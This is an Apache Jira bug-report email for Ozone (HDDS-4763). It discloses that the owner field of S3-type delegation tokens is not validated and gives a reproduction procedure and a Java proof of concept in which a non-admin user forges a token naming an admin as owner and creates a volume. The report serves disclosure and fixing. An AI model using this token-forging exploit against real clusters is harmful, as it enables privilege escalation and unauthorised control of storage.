Marton Elek created HDDS-4763:
---------------------------------

             Summary: Owner field of S3AUTHINFO type delegation token should be 
validated
                 Key: HDDS-4763
                 URL: https://issues.apache.org/jira/browse/HDDS-4763
             Project: Hadoop Distributed Data Store
          Issue Type: Bug
            Reporter: Marton Elek


Delegation token of Ozone has two flavor:
 1. delegation token (based public key infrastructure provided by SCM CA)
 2. s3 token

S3 token includes all the information which is required to validate a S3 HTTP 
request: aws access key id, string2sign, signature. OM can check the signature 
based on all this information which are stored in the OzoneTokenInfo.

When the request is authenticated the owner field is used for all the following 
authentication. But the content of the follower field is not validated. It's 
filled by the S3g but any client can create a custom request where the Owner 
field contains a custom string.

1. To reproduce start an ozonesecure cluster where testuser2 is not an admin. 
(The easiest way to achieve this is removing the hadoop.security.auth_to_local 
settings, as in our ozonesecure environment all users are mapped to local root 
which is admin)

To make the test easier, groups can also be turned off:

{code}
 <property>
    <name>hadoop.security.group.mapping</name>
    <value>org.apache.hadoop.security.NullGroupsMapping</value>
  </property>
{code}

2. Check if testuser2 is not an admin:

{code}
kinit -kt /etc/security/keytabs/testuser2.keytab testuser2/scm

klist
Ticket cache: FILE:/tmp/krb5cc_1000
Default principal: testuser2/[email protected]

Valid starting     Expires            Service principal
01/29/21 13:27:03  01/30/21 13:27:03  krbtgt/[email protected]
        renew until 02/05/21 13:27:03


ozone sh volume create /vol3
PERMISSION_DENIED User testuser2/[email protected] doesn't have CREATE 
permission to access volume vol3 null null
{code}

3. To create a s3 type delegation token we need valid string2sign and signature 
strings.

{code}
ozone s3 getsecret
{code}

Set the environment variables:

{code}
AWS_ACCESS_KEY_ID=...
AWS_SECRET_ACCESS_KEY=....
{code}

Try to create a bucket (will be denied) with --debug flag:

{code}
aws s3api --debug --endpoint=http://localhost:9878 create-bucket 
--bucket=bucket1
{code}

Copy the signature and string2sign from the output:

{code}
2021-01-29 15:03:52,269 - MainThread - botocore.auth - DEBUG - StringToSign:
AWS4-HMAC-SHA256
20210129T140352Z
20210129/us-west-1/s3/aws4_request
ff6c0c767b0292cf3459d02ae1199d4c7786f3cca2f383a46b442f19d964d996
2021-01-29 15:03:52,269 - MainThread - botocore.auth - DEBUG - Signature:
9830423f18ac1f90ec658d1b5c47bdd7765d67fdc0dc67393c162627bfa45789
{code}

And execute a java app:

{code}
  public static void main(String[] args) throws Exception {
    OzoneConfiguration conf = new OzoneConfiguration();
    conf.set("ozone.om.address", "192.168.32.6");

    String awsAccessId = "testuser2/[email protected]";

    UserGroupInformation.setConfiguration(conf);

    UserGroupInformation remoteUser =
        UserGroupInformation.createRemoteUser(awsAccessId, AuthMethod.TOKEN);

    final Text omService = SecurityUtil.buildTokenService(OmUtils.
        getOmAddressForClients(conf));
    OzoneTokenIdentifier identifier = new OzoneTokenIdentifier();
    identifier.setTokenType(S3AUTHINFO);
    identifier.setStrToSign("AWS4-HMAC-SHA256\n"
        + "20210129T133557Z\n"
        + "20210129/us-west-1/s3/aws4_request\n"
        + "8fc985d9c7442c33d6f146ab123de49b18c83c4c6ccdfd182f10fc78691bdd53");
    identifier.setSignature(
        "044cf03375ea10b3e454b16887a1f5ce6ebb14d45b506dd7ac5e02fd0179ba7b");
    identifier.setAwsAccessId(awsAccessId);
    identifier.setOwner(new Text("testuser/[email protected]"));
    Token<OzoneTokenIdentifier> token = new Token(identifier.getBytes(),
        identifier.getSignature().getBytes(UTF_8),
        identifier.getKind(),
        omService);

    remoteUser.addToken(token);

    OzoneClient client = remoteUser.doAs(
        (PrivilegedExceptionAction<OzoneClient>) () -> 
OzoneClientFactory.getRpcClient(conf));
    client.getObjectStore().createVolume("vol2");

  }
{code}

As a result /vol2 is created even if testuser2 is not an admin. Note: testuser 
IS an admin and setOwner used testuser instead of testuser2. 

A quick fix is to validate the owner field. A proper, long-term fix is 
disabling the s3 auth token type for client2server communication which can be 
done with HDDS-4440.



--
This message was sent by Atlassian Jira
(v8.3.4#803005)

---------------------------------------------------------------------
To unsubscribe, e-mail: [email protected]
For additional commands, e-mail: [email protected]

Reply via email to